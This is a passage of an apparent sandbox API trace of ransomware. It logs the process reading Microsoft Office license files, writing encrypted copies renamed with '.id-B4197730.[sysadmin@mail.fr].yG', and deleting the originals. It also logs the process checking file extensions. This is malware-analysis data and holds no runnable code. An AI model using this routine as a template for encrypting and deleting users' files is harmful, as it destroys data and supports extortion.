	[0171.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0171.573] lstrlenW (lpString=".zip") returned 4
	[0171.573] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.573] lstrlenW (lpString=".rar") returned 4
	[0171.573] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.573] lstrlenW (lpString=".bz2") returned 4
	[0171.573] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.573] lstrlenW (lpString=".7z") returned 3
	[0171.573] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0171.574] lstrlenW (lpString=".dbf") returned 4
	[0171.574] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0171.574] lstrlenW (lpString=".1cd") returned 4
	[0171.574] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-pl.xrm-ms") returned 76
	[0171.574] lstrlenW (lpString=".jpg") returned 4
	[0171.574] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.575] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=11586) returned 1
	[0171.575] CloseHandle (hObject=0x558) returned 1
	[0171.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 0x220
	[0171.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0171.576] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.576] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0171.588] GetLastError () returned 0x0
	[0171.588] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0171.631] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0171.633] ReadFile (in: hFile=0x558, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.633] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x108, lpOverlapped=0x0) returned 1
	[0171.634] SetEndOfFile (hFile=0x554) returned 1
	[0171.634] CloseHandle (hObject=0x554) returned 1
	[0171.634] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.634] SetEndOfFile (hFile=0x558) returned 1
	[0171.642] CloseHandle (hObject=0x558) returned 1
	[0171.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ul-oob.xrm-ms")) returned 1
	[0171.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0171.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0171.643] lstrlenW (lpString=".doc") returned 4
	[0171.643] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0171.643] lstrlenW (lpString=".docx") returned 5
	[0171.643] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0171.643] lstrlenW (lpString=".pdf") returned 4
	[0171.644] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0171.644] lstrlenW (lpString=".xls") returned 4
	[0171.644] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0171.646] lstrlenW (lpString=".xlsx") returned 5
	[0171.646] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0171.646] lstrlenW (lpString=".ppt") returned 4
	[0171.646] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0171.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0171.647] lstrlenW (lpString=".zip") returned 4
	[0171.647] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0171.647] lstrlenW (lpString=".rar") returned 4
	[0171.647] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0171.647] lstrlenW (lpString=".bz2") returned 4
	[0171.647] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0171.647] lstrlenW (lpString=".7z") returned 3
	[0171.647] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0171.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0171.647] lstrlenW (lpString=".dbf") returned 4
	[0171.647] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0171.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0171.647] lstrlenW (lpString=".1cd") returned 4
	[0171.647] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0171.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ul-oob.xrm-ms") returned 76
	[0171.647] lstrlenW (lpString=".jpg") returned 4
	[0171.647] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0171.649] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=12479) returned 1
	[0171.799] CloseHandle (hObject=0x558) returned 1
	[0171.799] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220
	[0171.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0171.957] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.957] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.114] GetLastError () returned 0x0
	[0172.114] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x30bf, lpOverlapped=0x0) returned 1
	[0172.133] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x30c0, lpOverlapped=0x0) returned 1
	[0172.134] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.134] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10e, lpOverlapped=0x0) returned 1
	[0172.135] SetEndOfFile (hFile=0x47c) returned 1
	[0172.135] CloseHandle (hObject=0x47c) returned 1
	[0172.135] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.135] SetEndOfFile (hFile=0x57c) returned 1
	[0172.138] CloseHandle (hObject=0x57c) returned 1
	[0172.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1
	[0172.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0172.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0172.140] lstrlenW (lpString=".doc") returned 4
	[0172.140] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.140] lstrlenW (lpString=".docx") returned 5
	[0172.140] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.140] lstrlenW (lpString=".pdf") returned 4
	[0172.140] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.140] lstrlenW (lpString=".xls") returned 4
	[0172.140] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.140] lstrlenW (lpString=".xlsx") returned 5
	[0172.141] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.141] lstrlenW (lpString=".ppt") returned 4
	[0172.141] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0172.141] lstrlenW (lpString=".zip") returned 4
	[0172.141] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.141] lstrlenW (lpString=".rar") returned 4
	[0172.141] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.141] lstrlenW (lpString=".bz2") returned 4
	[0172.141] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.141] lstrlenW (lpString=".7z") returned 3
	[0172.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0172.141] lstrlenW (lpString=".dbf") returned 4
	[0172.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0172.141] lstrlenW (lpString=".1cd") returned 4
	[0172.141] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79
	[0172.141] lstrlenW (lpString=".jpg") returned 4
	[0172.141] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.142] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=9601) returned 1
	[0172.142] CloseHandle (hObject=0x57c) returned 1
	[0172.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 0x220
	[0172.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.143] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.143] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.144] GetLastError () returned 0x0
	[0172.144] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x2581, lpOverlapped=0x0) returned 1
	[0172.146] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2590, lpOverlapped=0x0) returned 1
	[0172.147] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.147] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0172.148] SetEndOfFile (hFile=0x47c) returned 1
	[0172.148] CloseHandle (hObject=0x47c) returned 1
	[0172.148] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.148] SetEndOfFile (hFile=0x57c) returned 1
	[0172.151] CloseHandle (hObject=0x57c) returned 1
	[0172.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul.xrm-ms")) returned 1
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0172.153] lstrlenW (lpString=".doc") returned 4
	[0172.153] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".docx") returned 5
	[0172.153] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.153] lstrlenW (lpString=".pdf") returned 4
	[0172.153] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".xls") returned 4
	[0172.153] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".xlsx") returned 5
	[0172.153] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.153] lstrlenW (lpString=".ppt") returned 4
	[0172.153] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0172.153] lstrlenW (lpString=".zip") returned 4
	[0172.153] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".rar") returned 4
	[0172.153] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".bz2") returned 4
	[0172.153] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.153] lstrlenW (lpString=".7z") returned 3
	[0172.153] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0172.154] lstrlenW (lpString=".dbf") returned 4
	[0172.154] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0172.154] lstrlenW (lpString=".1cd") returned 4
	[0172.154] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul.xrm-ms") returned 78
	[0172.154] lstrlenW (lpString=".jpg") returned 4
	[0172.154] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.154] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=10619) returned 1
	[0172.154] CloseHandle (hObject=0x57c) returned 1
	[0172.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 0x220
	[0172.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0172.156] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.156] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.157] GetLastError () returned 0x0
	[0172.157] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x297b, lpOverlapped=0x0) returned 1
	[0172.229] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x2980, lpOverlapped=0x0) returned 1
	[0172.230] ReadFile (in: hFile=0x57c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.230] WriteFile (in: hFile=0x47c, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0xfe, lpOverlapped=0x0) returned 1
	[0172.230] SetEndOfFile (hFile=0x47c) returned 1
	[0172.231] CloseHandle (hObject=0x47c) returned 1
	[0172.231] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.231] SetEndOfFile (hFile=0x57c) returned 1
	[0172.234] CloseHandle (hObject=0x57c) returned 1
	[0172.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-pl.xrm-ms")) returned 1
	[0172.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0172.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0172.236] lstrlenW (lpString=".doc") returned 4
	[0172.236] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.236] lstrlenW (lpString=".docx") returned 5
	[0172.236] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.236] lstrlenW (lpString=".pdf") returned 4
	[0172.236] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.236] lstrlenW (lpString=".xls") returned 4
	[0172.236] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.237] lstrlenW (lpString=".xlsx") returned 5
	[0172.237] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.237] lstrlenW (lpString=".ppt") returned 4
	[0172.237] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0172.238] lstrlenW (lpString=".zip") returned 4
	[0172.238] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.238] lstrlenW (lpString=".rar") returned 4
	[0172.238] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.238] lstrlenW (lpString=".bz2") returned 4
	[0172.238] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.238] lstrlenW (lpString=".7z") returned 3
	[0172.238] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0172.239] lstrlenW (lpString=".dbf") returned 4
	[0172.239] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0172.239] lstrlenW (lpString=".1cd") returned 4
	[0172.239] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-pl.xrm-ms") returned 71
	[0172.239] lstrlenW (lpString=".jpg") returned 4
	[0172.239] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.239] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=12414) returned 1
	[0172.239] CloseHandle (hObject=0x57c) returned 1
	[0172.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220
